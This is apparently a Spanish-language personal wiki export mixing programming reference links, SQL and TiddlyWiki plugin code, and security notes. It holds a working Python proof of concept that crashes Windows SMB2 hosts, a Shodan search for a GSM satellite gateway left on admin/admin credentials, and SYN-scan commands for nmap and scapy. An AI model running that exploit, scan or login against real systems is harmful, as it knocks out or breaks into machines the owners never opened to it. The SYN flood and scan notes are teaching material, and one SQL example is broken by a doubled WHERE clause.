<<slider chkBash ./bash mostrar "bash">>
<part bash hidden>
* Manual oficial: http://www.gnu.org/software/bash/manual/
* Manual de referencia: http://www.network-theory.co.uk/docs/bashref/
* Programación avanzada: http://www.tldp.org/LDP/abs/html/
</part>

!! [[C]] y [[C++]]
<<slider chkCpp ./c++ mostrar "C++">>
<part c++ hidden>
* The C Library Reference: http://www.acm.uiuc.edu/webmonkeys/book/c_guide/
* C++ reference: http://www.cppreference.com/wiki/
* Standard C++ Library Module Rerence: http://www2.roguewave.com/support/docs/sourcepro/edition9-update1/html/stdlibref/index.html
* Standard C++ Library Module User's Guide: http://www2.roguewave.com/support/docs/sourcepro/edition9-update1/html/stdlibug/index.html
* MSDN Standard C++ Library Reference: http://msdn.microsoft.com/en-us/library/cscc687y(VS.80).aspx
* libstdc++ API: http://gcc.gnu.org/onlinedocs/libstdc++/api.html
* Standard Template Library (STL): http://en.wikipedia.org/wiki/Standard_Template_Library
</part>

!![[Java]]
<<slider chkJava ./java mostrar "java">>
<part java hidden>
* ''Java Standard Edition (~J2SE)'':
** ~J2SE 1.5: http://java.sun.com/j2se/1.5.0/docs/api/
** ~J2SE 6 (1.6): http://java.sun.com/javase/6/docs/api/
** ~J2SE 7 (beta): http://java.sun.com/javase/7/docs/api/

* ''Java Enterprise Edition (~J2EE)'':
** ~J2EE 1.4: http://java.sun.com/j2ee/1.4/docs/api/
** ~J2EE 1.5: http://java.sun.com/javaee/5/docs/api/
** ~J2EE 1.6: http://java.sun.com/javaee/6/docs/api/

* ''Java Mobile Edition (~J2ME)'':
** CLCD 1.0: http://java.sun.com/javame/reference/apis/jsr030
** CLDC 1.1: http://java.sun.com/javame/reference/apis/jsr139/
** MIDP 1: http://java.sun.com/javame/reference/apis/jsr037
** MIDP 2: http://java.sun.com/javame/reference/apis/jsr118
** Bluetooth: http://java.sun.com/javame/reference/apis/jsr082

* ''Frameworks y librerías:''
** Hibernate: http://davidmarco.es/tutoriales/hibernate-reference/
** Spring MVC: http://davidmarco.es/tutoriales/spring-mvc-sbs/
** Struts: http://struts.apache.org/1.2.x/userGuide/struts-html.html
** JPA: http://davidmarco.es/blog/entrada.php?id=144

* ''Herramientas:''
** Manual de [[Ant]]: http://ant.apache.org/manual/index.html
</part>

!![[Python]]
<<slider chkpython ./python mostrar "python">>
<part python hidden>
* Library Reference 2.5.4: http://python.org/doc/2.5.4/lib/lib.html
* Library Reference 2.6: http://docs.python.org/library/index.html
* Library Reference 3.1: http://docs.python.org/3.1/library/index.html
</part>

!![[Clojure]]
<<slider chkclojure ./clojure mostrar "clojure">>
<part clojure hidden>
* API de Clojure: http://clojure.org/Reference
</part>

!Bases de datos
!! [[PL/SQL]]
<<slider chkplsql ./plsql mostrar "plsql">>
<part plsql hidden>
* Referencia rápida SQL Oracle 10g: http://download.oracle.com/docs/cd/B19306_01/server.102/b14195/toc.htm
</part>

!Lenguajes de marcado
!! Web
<<slider chkweb ./web mostrar "web">>
<part web hidden>
* ''Varios:''
** Colección de Programmable Web: http://www.programmableweb.com/apis/directory/

* ''[[Markdown]]:''
** [[Sintaxis Markdown]]
** Markdown cheatsheel: http://warpedvisions.org/projects/markdown-cheat-sheet/
** Markdown reference: http://daringfireball.net/projects/markdown/syntax

* ''[[CSS]]:''
** Referencia en W3Schools: http://w3schools.com/css/css_reference.asp
** Referencia en Sitepoint: http://reference.sitepoint.com/css
</part>

!! [[XML]]
<<slider chkxml ./xml mostrar "xml">>
<part xml hidden>
* Referencia de [[XML DOM]]: http://w3schools.com/dom/dom_nodetype.asp
* Referencia de [[XSLT]]: http://w3schools.com/xsl/xsl_w3celementref.asp
* Referencia de [[XPath]]: http://w3schools.com/xpath/xpath_functions.asp
* Referencia de [[XQuery]]: http://w3schools.com/xquery/xquery_reference.asp
* Referencia de [[XSD]] schema: http://w3schools.com/schema/schema_elements_ref.asp
* Referencia de [[XML-FO]]: http://w3schools.com/xslfo/xslfo_reference.asp
</part>

! Webs y aplicaciones
!! Google
<<slider chkgoogle ./google mostrar "google">>
<part google hidden>
* ''Servicios [[web|Internet]] y librerías [[JavaScript]]'':
** Interfaces AJAX: http://code.google.com/intl/es-ES/apis/ajax/
** Open Social: http://wiki.opensocial.org/index.php?title=JavaScript_API_Reference
** Friend connect: http://code.google.com/intl/es-ES/apis/friendconnect/js_api.html#gfc-api
** Buzz API: http://code.google.com/intl/es-ES/apis/buzz/documentation/
** Sistemas de login: http://code.google.com/intl/es-ES/apis/accounts/docs/GettingStarted.html
** Ad Words: http://code.google.com/intl/es-ES/apis/adwords/docs/developer/adwords_api_reference.html
** API de idiomas: http://code.google.com/intl/es-ES/apis/ajaxlanguage/documentation/
** API de búsquedas: http://code.google.com/intl/es/apis/ajaxsearch/documentation/reference.html
** API de Analytics: http://code.google.com/intl/es-ES/apis/analytics/docs/index.html
** Google Chart: http://code.google.com/intl/es-ES/apis/chart/docs/gallery/chart_gall.html
** Google Visualizations: http://code.google.com/intl/es-ES/apis/visualization/documentation/reference.html
** Feedburner: http://code.google.com/intl/es-ES/apis/feedburner/developers_guide.html
** Picassa: http://code.google.com/intl/es-ES/apis/picasa/docs/button_api.html
** Safe browsing: http://code.google.com/intl/es-ES/apis/safebrowsing/reference.html
** Social Graph: http://code.google.com/intl/es-ES/apis/socialgraph/docs/api.html

* ''Android'':
** Android API: http://developer.android.com/reference/packages.html

* ''Google Web Toolkit (GWT)'':
** Guía de referencia: http://code.google.com/intl/es/webtoolkit/doc/latest/RefGuide.html
** Java Doc: http://google-web-toolkit.googlecode.com/svn/javadoc/2.0/index.html?overview-summary.html

* ''Google App Engine (GAE)'':
** API para Java: http://code.google.com/intl/es/appengine/docs/java/javadoc/
** API para Python (referencia, no hay API): http://code.google.com/intl/es/appengine/docs/python/overview.html

* ''Google Data (gData)'':
** Google Data ~APIs: http://code.google.com/intl/es-ES/apis/gdata/docs/directory.html

* ''Google Earth'':
** KML: http://code.google.com/intl/es/apis/kml/documentation/kmlreference.html
** Google Maps: http://code.google.com/intl/es/apis/maps/documentation/reference.html
** Static Maps: http://code.google.com/intl/es-ES/apis/maps/documentation/staticmaps/
** Mapplets: http://code.google.com/intl/es/apis/maps/documentation/mapplets/reference.html

* ''Google Talk'':
** lib jingle: http://code.google.com/intl/es-ES/apis/talk/libjingle/reference.html
** XMPP extensions: http://code.google.com/intl/es-ES/apis/talk/jep_extensions/extensions.html

* ''Google Toolbar'/:
** Google Toolbar API: http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

* ''Google Wave'':
** Extensiones en [[Java]]: http://wave-robot-java-client.googlecode.com/svn/trunk/doc/index.html
** Extensiones en [[Python]]: http://wave-robot-python-client.googlecode.com/svn/trunk/pydocs/index.html
** Gadgets en [[JavaScript]]: http://code.google.com/intl/es_ALL/apis/wave/extensions/gadgets/reference.html
** API de inserción: http://code.google.com/intl/es_ALL/apis/wave/embed/reference.html

* ''Gadgets for iGoogle'':
** Gadgets API: http://code.google.com/intl/es-ES/apis/gadgets/docs/reference/

* ''Google Gears'':
** Gears API: http://code.google.com/intl/es-ES/apis/gears/api_summary.html

* ''Google Health'':
** Health Data API: http://code.google.com/intl/es-ES/apis/health/docs/2.0/developers_guide_protocol.html
</part>
! Introducción
Es muy común y muy molesto que dentro de una tabla con datos temporales, falten datos para algún día. Al generar un informe o intentar generar una gráfica usando los valores de la tabla, los días sin datos no aparecerán, produciendo "saltos" dentro de las filas de datos que pueden producir gráficas erróneas o confusas.

! Solución
La forma de conseguir la meta es mediante un {{{OUTER JOIN}}} con una tabla que contenga todas las fechas posibles dentro de un intervalo.

Suponiendo que tenemos creada una tabla con todas las fechas del 2009 (por lo tanto 365 filas) y otra tabla con varias columnas y "huecos" en los datos, esta consulta nos daría todos los datos desde enero hasta marzo, poniendo un 0 en los días que no hubiera información:

<code sql>
SELECT
    nvl(v.col1, 0) as "columna 1",
    nvl(v.col2, 0) as "columna 2",
    t.fecha as "fecha"
FROM
    (SELECT 
        col1,
        col2,
        colFecha
    FROM
        tabla1
    WHERE
        col1 > 10   -- CONDICIONES
    ) v
PARTITION BY  (v.colFecha)
RIGHT OUTER JOIN
    (SELECT distinct
        DAY fecha
    FROM
        tabla_tiempos
    WHERE
        WHERE t.DAY BETWEEN TO_DATE('01/01/2009', 'DD/MM/YYYY')
                        AND TO_DATE('31/03/2009', 'DD/MM/YYYY')
    ) t
ON (v.colFecha = t.fecha)
order by t.fecha
/
</code>
/***
|Name:|RenameTagsPlugin|
|Description:|Allows you to easily rename or delete tags across multiple tiddlers|
|Version:|3.0 ($Rev: 5501 $)|
|Date:|$Date: 2008-06-10 23:11:55 +1000 (Tue, 10 Jun 2008) $|
|Source:|http://mptw.tiddlyspot.com/#RenameTagsPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
Rename a tag and you will be prompted to rename it in all its tagged tiddlers.
***/
//{{{
config.renameTags = {

	prompts: {
		rename: "Rename the tag '%0' to '%1' in %2 tidder%3?",
		remove: "Remove the tag '%0' from %1 tidder%2?"
	},

	removeTag: function(tag,tiddlers) {
		store.suspendNotifications();
		for (var i=0;i<tiddlers.length;i++) {
			store.setTiddlerTag(tiddlers[i].title,false,tag);
		}
		store.resumeNotifications();
		store.notifyAll();
	},

	renameTag: function(oldTag,newTag,tiddlers) {
		store.suspendNotifications();
		for (var i=0;i<tiddlers.length;i++) {
			store.setTiddlerTag(tiddlers[i].title,false,oldTag); // remove old
			store.setTiddlerTag(tiddlers[i].title,true,newTag);  // add new
		}
		store.resumeNotifications();
		store.notifyAll();
	},

	storeMethods: {

		saveTiddler_orig_renameTags: TiddlyWiki.prototype.saveTiddler,

		saveTiddler: function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created) {
			if (title != newTitle) {
				var tagged = this.getTaggedTiddlers(title);
				if (tagged.length > 0) {
					// then we are renaming a tag
					if (confirm(config.renameTags.prompts.rename.format([title,newTitle,tagged.length,tagged.length>1?"s":""])))
						config.renameTags.renameTag(title,newTitle,tagged);

					if (!this.tiddlerExists(title) && newBody == "")
						// dont create unwanted tiddler
						return null;
				}
			}
			return this.saveTiddler_orig_renameTags(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created);
		},

		removeTiddler_orig_renameTags: TiddlyWiki.prototype.removeTiddler,

		removeTiddler: function(title) {
			var tagged = this.getTaggedTiddlers(title);
			if (tagged.length > 0)
				if (confirm(config.renameTags.prompts.remove.format([title,tagged.length,tagged.length>1?"s":""])))
					config.renameTags.removeTag(title,tagged);
			return this.removeTiddler_orig_renameTags(title);
		}

	},

	init: function() {
		merge(TiddlyWiki.prototype,this.storeMethods);
	}
}

config.renameTags.init();

//}}}
!Descripción
<part descripcion>
La robótica es la ciencia que estudia el diseño y construcción de robots. Es una disciplina bastante transversal, que utiliza conocimientos de electrónica, automática, informática, mecánica, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Rob%C3%B3tica
** Videocurso de robótica: http://www.ikkaro.com/curso-robotica-online-gratis
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Documentación y enlaces sobre el lenguaje de programación Ruby.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ruby
* Página principal: http://www.ruby-lang.org/es/
* Página oficial de documentación: http://www.ruby-lang.org/es/documentation/
* Ruby Central, recursos de todo tipo: http://www.rubycentral.com/

!! Cursos y tutoriales
* Ruby desde cero: http://comunidad.dragonjar.org/f177/empezando-con-ruby-desde-cero-10815/
* Ruby en 20 minutos: http://www.ruby-lang.org/es/documentation/quickstart/
* Ruby desde otros lenguajes: http://www.ruby-lang.org/es/documentation/ruby-from-other-languages/
* Libro gratuito "Programming Ruby": http://www.ruby-doc.org/docs/ProgrammingRuby/
* Libro-comic: http://mislav.uniqpath.com/poignant-guide/book/chapter-1.html
* Ruby Tutorial (en castellano): http://rubytutorial.wikidot.com/
* Tutorial de Ruby on Rails: http://www.meshplex.org/wiki/Ruby/Ruby_on_Rails_programming_tutorials
* Learn Ruby the Hard Way: http://ruby.learncodethehardway.org/book/

!! Software
* Intérprete online: http://tryruby.org/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción

! Búsquedas interesantes
* Pasarela GSM satélite (admin/admin): http://www.shodanhq.com/?q=MaritimeGSM

! Referencias
* http://www.securitybydefault.com/2010/11/los-phreakers-nunca-mueren.html
! Introducción
Las últimas versiones de [[Windows]] (a partir de Vista) incorporan una nueva versión del protocolo de redes SMB, llamada SMB2. Esta versión es vulnerable, y si recibe un paquete mal formado produce un cuelgue completo en el sistema (BSOD).

! Prueba de concepto
La siguiente prueba de concepto dejará "frito" al ordenador con IP "IP_ADDR" (sustituir por la que proceda).
<part codigo>
<code python>
#!/usr/bin/python

"""When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
it dies with a PAGE_FAULT_IN_NONPAGED_AREA error"""

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close() 
</code>
</part>

! Referencias
* http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html
!Descripción
<part descripcion>
Es el acrónimo de Simple Mail Transfer Protocol. Es el protocolo más usado para el envío de emails a través de internet.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/SMTP
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
SPOT es un dispositivo wireless autónomo programable con [[Java]]. Lleva integrada la máquina virtual [[Squawk|http://en.wikipedia.org/wiki/Squawk_virtual_machine]].

En un dispositivo que cabe en la palma de la mano se integra un procesador 180 MHz 32 bit ARM920T, 512Kb de memoria RAM,  4Mb de memoria Flash, una interfaz USB, todo tipo de sensores de posición y acelerómetros y una batería.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Sun_SPOT
** Página principal: http://www.sunspotworld.com/
** SPOT en java.net: https://spots.dev.java.net/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información general sobre el lenguaje de consulta de bases de datos SQL
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/SQL
* Tutoriales para diversos servidores: http://sqlzoo.net/

!! Mejorar el rendimiento
* Use The Index, Luke: http://use-the-index-luke.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Introducción
El [[SQL]] dinámico consiste en construir las consultas [[SQL]] de forma dinámica dentro de un procedimiento o función. Esto hace que las consultas sea mucho más flexibles, pero también es más complicado de depurar.

En lenguajes de alto nivel como [[Java]] o [[CSharp]] es lo habitual: construyes una cadena de texto que contiene la consulta y la ejecutas. Pero, ¿como hacerlo en un bloque de [[PL/SQL]]?

¡Muy sencillo! Tan solo hay que rellenar una cadena de texto con la consulta (tipo {{{VARCHAR2}}}) y ejecutarla con la instrucción {{{EXECUTE INMEDIATE}}}. Se pueden pasar parámetros a la consulta. Los parámetros se especifican dentro del texto con puntos y un identificador (por ejemplo {{{:nombre}}}) y se le pasan los valores añadiendo un {{{USING}}} a la llamada anterior. Los valores se pasan siempre por posición, el nombre es irrelevante .

!Ejemplo
Ejemplo sencillo de SQL dinámico:
<code sql>
declare
    str_sql VARCHAR2(500);
    v_1     NUMBER := 2;
    v_2     NUMBER;
begin
    str_sql := 'select :a * :b / ''2''
                from dual';
    EXECUTE IMMEDIATE str_sql into v_2 USING v_1, v_1;
    DBMS_OUTPUT.PUT_LINE( v_2);
end;
/
</code>

El bloque anterior es un bloque dinámico. Lo más relevante:
* La cadena SQL se encierra entre comillas simples. No importa si hay saltos de línea.
* Para poner comillas simples dentro de la cadena se ponen dos comillas simples juntas. Ejemplo: {{{''2''}}}.
* La cadena con el SQL se puede parametrizar poniendo :nombre. El nombre es comletamente irrelevante, porque la sustitución se hace por el orden que se le pasan los parámetros.
* La sentencia se ejecuta con un {{{EXECUTE IMMEDIATE}}}. El valor de retorno de la función se almacena en la variable indicada por {{{INTO}}}.
* Los parámetros pasados a la sentencia se indican mediante {{{USING}}}. Es muy importante el orden con el que se pasen.
! Fundamentos
!! Iniciar una conexión TCP
<<tiddler [[Establecimiento de conexión TCP_IP/introducción]]>>
<<tiddler [[Establecimiento de conexión TCP_IP/esquema]]>>

!! Ataque SYN Flood
Pero, ¿que pasa si por accidente o mala intención se envían muchos paquetes SYN pero no se responde ninguno con ACK? Pues que el servidor deja los intentos no confirmados como conexiones abiertas. Cada conexión abierta consume recursos del servidor, por lo que al final el enorme número de conexiones abiertas producirá un fallo.

!! Variantes
Existen dos variantes de este ataque. La más obvia es enviar muchos paquetes SYN, pero al recibir el SYN-ACK no enviar el ACK de respuesta esperado. Otra técnica denominada ''SYN spoofing'' consiste en enviar paquetes ACK con la IP de origen falseada, de tal forma que el servidor envía los SYN-ACK a otra dirección y, obviamente, no recibe el ACK de respuesta.

!Protección
Antiguamente se utilizaba restricción por IP, de tal forma que una misma IP no pudiera abrir muchas conexiones, pero con la técnica del SYN spoofing no resulta efectiva.

Una protección mucho más efectiva para mitigar el ataque es usar [[SYN cookies|http://en.wikipedia.org/wiki/SYN_cookies]], que es una técnica para no tener que reservar recursos nada más que cuando se haya recibido el último ACK, en vez al recibir el primer SYN.

!Ataque
//PONER AQUÍ UNA REFERENCIA A COMO SE HARÍA CON SCAPY//

!Referencias
* http://www.securitybydefault.com/2010/02/syn-flood-que-es-y-como-mitigarlo.html
* http://en.wikipedia.org/wiki/SYN_flood
* http://www.cert.org/advisories/CA-1996-21.html
* http://www.securityfocus.com/infocus/1729
* http://cr.yp.to/syncookies.html
! Introducción
Este ataque consiste en hacer sólo la primera fase de una [[conexión TCP|Establecimiento de conexión TCP_IP]], esto es, enviar el SYN y esperar el SYN-ACK. Si en vez de un SYN-ACK se recibe un RST, es que el puerto está cerrado.

Hay que tener cuidado de no enviar demasiados paquetes SYN a una máquina o se puede producir un [[SYN Flood]].

Este ataque es muy utilizado y suele funcionar bastante bien y es dificil de detectar, por lo que se puede considerar el "escaneo por defecto"

! Esquemas
| !Abierto | !Cerrado |h
| <<tiddler ./esquema_abierto>> | <<tiddler ./esquema_cerrado>> |


<part esquema_abierto hidden>
{{{
ATACANTE      SERVIDOR
   |             |
  SYN ---------->|
   |             |
   |<-------- SYN-ACK
   |             |

El puerto está abierto
}}}
</part>
<part esquema_cerrado hidden>
{{{
ATACANTE      SERVIDOR
   |             |
  ACK ---------->|
   |             |
   |<---------- RST
   |             |

El puerto está cerrado
}}}
</part>

! Ataques
!! nmap
<part nmap>
{{{
sudo nmap -sS 192.168.1.0/24
}}}
</part>
!! scapy
<part scapy>
Envío del ataque:
<code python>
sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[80,443],flags="S"))
</code>
Algunos firewall filtran paquetes que no lleven timestamp, por lo que habría que especificar algunos parámetros extra:
<code python>
sr1(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[80,443],flags="S",options=[('Timestamp',(0,0))]))
</code>
Scapy dispone de una herramienta específica que automatiza el esaneo SYN y muestra los resultados como una tabla LaTeX:
<code python>
report_ports("192.168.1.1",[80,443])
</code>
</part>

! Referecias
* http://en.wikipedia.org/wiki/Port_scanner#TCP_scanning
/***
|Name|SaveAndReloadMacro|
|Created by|SaqImtiaz|
|Location|http://tw.lewcid.org/#SaveAndReloadMacro|
|Version|1.0|
|Requires|~TW2.x|
!Description:
Provides a button to save and reload TW. Useful if you are testing code and dont have AutoSave enabled.

!Demo:
{{{<<saveAndReload>>}}}<<saveAndReload>>

!Installation:
Copy the contents of this tiddler to your TW, tag with systemConfig, save and reload your TW.

!History:
*24-07-06: ver 1.0

!Code
***/
//{{{
config.macros.saveAndReload={};
config.macros.saveAndReload.handler= function(place,macroName,params,wikifier,paramString,tiddler)
{
        var label = params[0]||"Save & Reload";
        var tooltip = params[1]||"Save & reload";
        createTiddlyButton(place,label,tooltip,this.onclick);
}
config.macros.saveAndReload.onclick= function()
{
       saveChanges();
       window.location.reload( false );
}
//}}}
/***
|Name:|SaveCloseTiddlerPlugin|
|Description:|Provides two extra toolbar commands, saveCloseTiddler and cancelCloseTiddler|
|Version:|3.0 ($Rev: 5502 $)|
|Date:|$Date: 2008-06-10 23:31:39 +1000 (Tue, 10 Jun 2008) $|
|Source:|http://mptw.tiddlyspot.com/#SaveCloseTiddlerPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
To use these you must add them to the tool bar in your EditTemplate
***/
//{{{
merge(config.commands,{

	saveCloseTiddler: {
		text: 'done/close',
		tooltip: 'Save changes to this tiddler and close it',
		handler: function(ev,src,title) {
			var closeTitle = title;
			var newTitle = story.saveTiddler(title,ev.shiftKey);
			if (newTitle)
				closeTitle = newTitle;
			return config.commands.closeTiddler.handler(ev,src,closeTitle);
		}
	},

	cancelCloseTiddler: {
		text: 'cancel/close',
		tooltip: 'Undo changes to this tiddler and close it',
		handler: function(ev,src,title) {
			// the same as closeTiddler now actually
			return config.commands.closeTiddler.handler(ev,src,title);
		}
	}

});

//}}}
!Descripción
<part descripcion>
Información sobre el lenguaje Scala
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://en.wikipedia.org/wiki/Scala_(programming_language)
** Página principal' http://www.scala-lang.org/
** Descargas: http://www.scala-lang.org/downloads/
** Tutorial: http://www.scala-lang.org/docu/files/ScalaTutorial.pdf
** Artículo de IBM: http://www.ibm.com/developerworks/java/library/j-scala01228.html
** Tour guiado: http://www.scala-lang.org/node/104
** Tutorial de o'reilly: http://programming-scala.labs.oreilly.com/
** Enlaces (en la parte inferior): http://macstrac.blogspot.com/2009/04/scala-as-long-term-replacement-for.html
** Tutorial de Debug Mode: http://es.debugmodeon.com/articulo/scala-introduccion-al-lenguaje
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
<<showtoc RecetasScapy>>
<<showtoc AutomataScapy>>

! 1. Introducción
Scapy es una herramienta de manipulación de paquetes basada en [[Python]]. Ofrece tanto una consola interactiva (una versión mejorada de la consola de Python) como librerías para integrar Scapy en otras aplicaciones.

Scapy puede generar todo tipo de paquetes, unirlos, enviarlos y esperar respuesta. Todos los paquetes enviados y recibidos se almacenan emparejados, para poder analizarlos posteriormente.

! 2. Funcionamiento general
Scapy se basa en el envío y recepción de paquetes. Los paquetes enviados y sus respuestas se guardan emparejados para que sea más fácil tratarlos.

Los paquetes pueden provenir de diversas fuentes:
* Generación de paquetes nuevos
* Captura de paquetes
* Lectura de archivos PCAP
* Lectura de array de bytes
* Importación de una cadena de texto descriptiva
Cualquiera de esas fuentes puede proveer paquetes válidos para trabajar con Scapy. Además, esos paquetes pueden ser modificados para trabajar posteriormente con ellos de la forma que se nos ocurra.

Los paquetes obtenidos se pueden usar principalmente para los siguiente:
* Envío de un paquete y recepción de la respuesta
* Envío y recepción de múltiples paquetes
* Análisis y disección

En resumen, Scapy es como si Whireshark, Hping3 y Python hubieran montado una buena fiesta y 9 meses después hubiesen aparecido las consecuencias :)

! 3. Generación y manipulación de paquetes
!! 3.1. Generación de paquetes
!!! 3.1.1 Paquetes sencillos
Generar paquetes es muy sencillo. Cada protocolo está encapsulado en una clase distinta, y todas son accesibles desde la línea de comandos de Scapy. Los campos del paquete se pasan como parámetros al constructor. Los que no se rellenan explícitamente mantienen datos por defecto.

Por ejemplo, generar un nuevo paquete IP con todos los campos por defecto es tan fácil como:
<code python>
>>> p1 = IP()
</code>

Un ejemplo algo más útil sería un paquete IP con un destino deseado. Por ejemplo, un paquete que se enviará a {{{example.com}}}
<code python>
>>> p2 = IP(dst="example.com")
</code>

Para comprobar que efectivamente se ha creado un paquete con esos datos, se puede escribir el nombre de la variable y pulsar {{{<enter>}}}, y se mostrará su contenido como en el siguiente ejemplo:
<code python>
>>> p2
<IP  dst=Net('example.com') |>
</code>

!!! 3.1.2. Conjuntos de paquetes
Por ahora sólo se ha especificado una dirección única de host, pero también se pueden emplear máscaras de red. Por ejemplo:
<code python>
>>> p3 = IP(dst="192.168.1.1/30")
>>> p3
<IP  dst=Net('192.168.1.1/30') |>
</code>
El resultado parece más o menos el anterior, pero veamos la siguiente acción:
<code python>
>>> [p for p in p3]
[<IP  dst=192.168.1.0 |>, <IP  dst=192.168.1.1 |>, <IP  dst=192.168.1.2 |>, <IP  dst=192.168.1.3 |>]
</code>

¡En realidad ha creado un array con 4 paquetes! Los cuatro dentro de la subred indicada. Como se puede imaginar, es muy fácil crear conjuntos de paquetes para redes más grandes, ¡pero cuidado con el consumo de recursos!

!! 3.2 Composición de paquetes
Por ahora hemos visto como crear paquetes sencillos pero, ¿como crear un paquete IP que contenga un paquete TCP? Muy sencillo, usando el operador de composición {{{/}}}. Este operador sirve para unir paquetes. Por ejemplo, para crear un paquete IP simple que contenga un paquete TCP:
<code python>
>>> p4 = IP()/TCP()
>>> p4
<IP frag=0 proto=TCP |<TCP |>>
</python>
Como se puede ver, esta es la representación de un paquete TCP en el interior de un paquete IP.

Para ilustrar con un ejemplo útil, la siguiente línea preparará un paquete IP/TCP/HTTP que obtendrá la página principal de http://google.com:
<code python>
>>> p5 = IP(dst="google.com")/TCP(dport=80)/"GET / HTTP/1.0\r\n\r\n"
>>> p5
<IP  frag=0 proto=tcp dst=Net('google.com') |<TCP |<Raw  load='GET / HTTP/1.0\r\n\r\n' |>>>
</code>

!! 3.3. Manipulación de paquetes
Manipular un paquete es tan sencillo como crearlo: tan solo hay que alterar sus propiedades. Por ejemplo, para cambiar el TTL del paquete {{{p2}}}:
<code python>
>>> p2.ttl
64
>>> p2.ttl = 32
>>> p2
<IP  ttl=32 dst=Net('example.com') |>
</code>

!! 3.4. Mostrar información de los paquetes
!!! 3.4.1. Obtener información básica
La forma más sencilla de obtener la información más relevante de un paquete, es escribir su nombre y presionar {{{<enter>}}}, como ya se ha visto en múltiples ejemplos. Esto mostrará el tipo de paquete y los campos que se hayan modificado. Los campos por defecto no aparecen.

No obstante, hay otras herramientas que nos permitirán inspeccionar todos los campos de un paquete. La más sencilla es la función {{{ls()}}}, que muestra el valor de todos los campos de un paquete, incluyendo los valores por defecto:
<code python>
>>> ls(p2)
version    : BitField             = 4               (4)
ihl        : BitField             = None            (None)
tos        : XByteField           = 0               (0)
len        : ShortField           = None            (None)
id         : ShortField           = 1               (1)
flags      : FlagsField           = 0               (0)
frag       : BitField             = 0               (0)
ttl        : ByteField            = 32              (64)
proto      : ByteEnumField        = 0               (0)
chksum     : XShortField          = None            (None)
src        : Emph                 = '1.40.16.90'    (None)
dst        : Emph                 = Net('example.com') ('127.0.0.1')
options    : PacketListField      = []              ([])
</code>

En la primera columna aparece el nombre del atributo, seguido del tipo de campo, el valor actual y por último el valor por defecto.

Otra manera de mostrar información de un paquete es utilizando el método {{{summary()}}} que muestra un resumen de una línea bastante completo, compacto y legible
<code python>
>>> p2.summary()
"1.40.16.90 > Net('example.com') ip"
</code>

Este útil método también se puede aplicar a un conjunto de paquetes, en cuyo caso mostrará el sumario de todos ellos, uno por línea. Si se quiere además mostrar un índice correspondiente al número de paquete, se puede usar el método {{{nsummary()}}}.

!!! 3.4.2. Información avanzada y disección de paquetes
Muchas veces lo que queremos no es ver un resumen de los datos más relevantes, si no mostrar absolutamente toda la información de un paquete. Todos los paquetes implementan el método {{{show()}}} que muestra de forma jerarquizada todos los campos de los distintos niveles OSI del paquete. Veamos un ejemplo con un paquete TCP/IP generado anteriormente:
<code python>
>>> p5.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= tcp
  chksum= None
